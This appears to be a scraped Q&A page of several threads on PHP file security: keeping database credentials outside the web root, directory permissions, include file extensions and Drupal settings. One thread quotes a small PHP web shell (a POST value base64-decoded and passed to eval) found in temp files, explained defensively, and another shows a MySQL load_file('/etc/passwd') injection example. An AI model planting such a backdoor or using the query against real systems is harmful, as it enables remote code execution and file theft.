Hiding PHP Files Outside WWW for Security - php

I've got a "globabVars.php" doc in my own little framework that contains database connection vars etc... I'm thinking would be neat to store outside of the web facing directories to keep it a little more secure. But, then I was thinking, is it really THAT much more secure? I mean, if someone were able to look at my .php files as a whole (without the server processing them) they would be INSIDE my server looking at all my files anyway...
Thoughts?

Moving a config file outside of the web root can prevent this file from getting leaked if you accidentally mis-configure apache. For instance if you remove Apache's mod_php then all .php files will be treated as text files. I have seen config files moved outside of the web root on production systems for this reason, and it did stop the file from getting leaked! (An admin iced the config during an update, doah!). Although this doesn't happen very often.
If an attacker can control the path of one of these functions: file_get_contents(), fopen(), readfile() or fgets() then he can read any file on your system. You also have to worry about sql injection. For instance this query under MySQL can be used to read files: select load_file("/etc/passwd").
To mitigate this issue, remove FILE privileges from your MySQL user account that PHP uses. Also do a chmod 500 -R /path/to/web/root, The last 2 zeros keeps any other account from accessing the files. You should also follow it up with a chown www-data -R /path/to/web/root where www-data is the user account that php is executed as, you can figure this out by doing a <?php system('whoami');?>.

It means noone can access it via a URL by default.
You can hide with .htaccess if it is in your docroot, but storing it above the docroot is just that bit safer.
You can have it read via PHP if your application is prone to directory traversal attacks.

Yeah, you are right. There is a very small difference.

Related

PHP code contained in phpXXXX.tmp files in temp directory

I have noticed that our temp directory has a number of what appear to be temporary files with names like phpA3F9.tmp
Looking into the contents I find a number followed by some PHP code, the following code appears in several files
9990000
<?php
$mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']); #eval("\$safedg = $xsser;"); } ?>
This appears to be an attack attempt, but I presume it relies on the attacker being able to execute the code in the tmp folder.
Can anybody explain what is going on here? What are the risks? How do these files get into the tmp folder? And how do I stop them?
I don't know if it is relevant but we are running PHP 5.5 on IIS
Short story: your server may have already been compromised.
Those are PHP shells - mostly harmless where they are, but if they get into your web root, they'll allow an attacker to execute any arbitrary code on your server.
The key parts to understanding the shell are:
$xsser=base64_decode($_POST['z0']);
#eval("\$safedg = $xsser;");
It accepts any code at all from a $_POST variable, base64_decodes it, and then runs it through eval while suppressing any errors.
It's possible that they're being uploaded through a form on your site, and getting dumped in the temp folder as an intermediate step, with the hope that they would get moved into a web-accessible location. The other option is that there's already a shell or rootkit on your server, and it's putting those files in any writable folders that it can find.
So what to do about it? Check your server logs - if you see any successful connections to a script that you don't recognize, you may be compromised. Look for any upload forms on your site, and lock them down (require user authentication, etc.), and then if you're certain that you're compromised, don't bother trying to clean it. Spin up a new server, migrate your clean code, important files, and data to the clean server.

Protect file in web root but give access from php

I have a situation where I want to protect a file from public access, but enable read and write from php. The file contains sensitive information like passwords.
The problem is that
I cannot put the file outside the web root (server security restriction on access from php)
I would like to avoid mysql database.
Also I would try to avoid .htacess files.
So if I make a folder, say private, in the web root, and do
chmod 700 private
Then, if the file to protect is private/data, I do
chmod 700 private/file
will this be a safe setup? So now I can read and write to the file from php but it is not accessible for the public?
Is this a safe setup?
PHP runs as the same user as the webserver so if PHP can read it, so can your webserver (and vice versa).
If you don't want to use .htaccess there is another trick: save the file as a .php file. Even if someone accesses the file from the web they can't see the source, they might just get a white page or maybe an error depending on what exactly is in the file.
If you're running suPHP or fastCGI php, you can use a setup similar to what you've described to limit access to files. Otherwise, PHP will use the same user as the web server, and any file PHP can access is also accessible via url.
If want to keep the restrictions stipulated (which are rather strange), and as (i guess) you do not wish/have access to apache config directives, consider adding PHP to some group and give the group only rights to the file, ie. apache cannot read (if its not in root/wheel).
Or make it a valid .php file (so only php would be invoker when the file is requested) which returns nothing or redirects when invoked with php. or just cipher it.

Am I wrong to make directory executable?

I am writing a file upload using Zend_Form_Element_File(). I created a directory called users in the public directory. When I load the file, I got an error saying page is not found. I check the directory and saw that the permission is drwxr-xr-x. So I change the permission to drwxrw-rw- and load the page again. The page loads properly. But when I upload a file, it produces an error again. So I finally change the permission to drwxrwxrwx and everything runs properly.
My question is that am I doing the usual way that others are doing? I found it strange to make a directory executable.
Can someone explain whether I'm doing it correct? I am just learning Zend framework.
Directories must be executable if a program should be able to "enter" it. Entering a directory basically means accessing any file/directory below that directory.
Having "read" access to a folder allows you to list its contents - what "write" access does is pretty obvious.
However, for security reasons you should check if drwxrwx--- (770) is not sufficient; often your user and the webserver share a common group. If that's the case, there's no need to give any access to "world".
It would be even better to run your scripts as the same user as you - by using fastcgi that wouldn't be too hard, but if you are on shared hosting you usually do not have the necessary access to do this.
Typically when you set permissions on the directory it is so they cascade down to the files within via extended ACLS in the majority of cases. The issue that I see immediately is that you have granted world access which is a bad idea. The only user that needs permissions to the directory (700 at max) is going to be your web server. So I would revert security to be 700 asap.

Where to store sensitive information in a Drupal Module?

In a module I'm creating I have some sensitive information I need to store securely: A remote database host, username, and password.
It seems that the only storage available is in the Drupal database, which worries me since this means if Drupal is compromised so is this other database. The settings.php file in sites/all/default was my second option, but I'm having trouble writing to it. Various chmod commands in FTP and SSH to 777 and 666 won't open the file to writing. I'm also not sure if the variables I set there are available anywhere else.
Are there any other ways to store this information securely?
You're on the right track using settings.php. You can use the $conf variable in settings.php to set variables that you can access in modules using variable_get.
Hmmm... this seems like something you shouldn't do in general. Write an API that sits at the remote database that you can access.
If however you insist on direct database access. Hard code the host, username and password in a file, put the file outside your document root and include it from there. For example, if your document root (i.e. where Drupal's index.php file is) was /www/htdocs, put a file containing the info at something like /www/secure and include it where you need it. Then if php stops working for some reason, the file isn't in a readable location to the outside world but PHP can include it within the site as necessary.
Sure somebody might see that you were including the file but they wouldn't be able to see the file itself unless they hacked your server (rather than just Drupal) and in that situation, your pretty much screwed anyway.
Using a config file is ideal for this type of information. However doing a chmod 777 or 666 is a really bad idea. The problem is that both of these settings allow the file GLOBALLY read/write. So if you are on a shared host, then its possible for another user on the system to access your file. On install trying using php's chmod() function to do a chmod 500 on the file. (500 should work in most cases, the most important part is that the last number is zero).

PHP include file extensions?

For required/included files in PHP, is it better to use .inc extensions vs .inc.php vs .php extensions?
Sometimes people use the .inc extension and then do some server configuration to keep .inc files from being accessed via a web browser. This might be good, if done absolutely correctly by a knowledgeable sysadmin, but there's a better way: Any file that's not supposed to be accessed by web users should be kept outside your document root. Once these files are off the web, so to speak, you can use whatever extension you want. .php is definitely a sensible choice for syntax highlighting, general sanity, and so on.
Apache can sometimes (due to bugs or severe crashes) serve .php files as text (happend to me a few times on shared hosting).... I think you can use any extension you want as long as you don't store your files in a public folder.
Let's say your site is in /home/user/public_html/
create another folder /home/user/lib_php/
have the files:
(1) .../lib_php/one.class.php with
class one {
//...
}
(2) .../lib_php/two.function.php with
function two() {
//...
}
and you have the main index.php in /public_html
<?php
include_once('../lib_php/one.class.php');
include_once('../lib_php/two.function.php');
$x=a;
$b=two($x);
$c=new one;
//etc..
or
<?php
require_once('/home/user/lib_php/the.file.php');
This way you are taking every precaution the files are not reachable directly but can be used by your scripts...
My personal preference is that anything in the document root is a .php file, to indicate it's directly executable by the web server, and anything that's a library is a .inc file stored in a parallel directory, to indicate it's NOT directly executable.
My standard configuration is
/home/sites/example.com/html/ - anything here is 'safe' to expose if PHP fails and serves up raw code
/home/sites/example.com/inc/ - libraries, config files with passwords (e.g. the database connection class with DB credentials), etc.. Anything that shouldn't be exposed as there's no reason for it.
While you can certainly configure Apache to deny access to .inc files and keep them inside the webroot, then you're depending on Apache to keep you safe. If PHP can fail within Apache and expose your code, then the .inc blocks can ALSO fail and expose your code's innards as well.
Of course, if Apache's coughing blood all over the floor, there's no reason that the directory traversal protection can't fail as well and let someone do http://example.com/../inc/seekritpasswords.txt.
At some point you just have to accept that if something's stored anywhere on the web server, there's a possibility that a failure may allow access to the raw data and expose everything. How much time and effort you want to expend on protecting against that is up to you.

Categories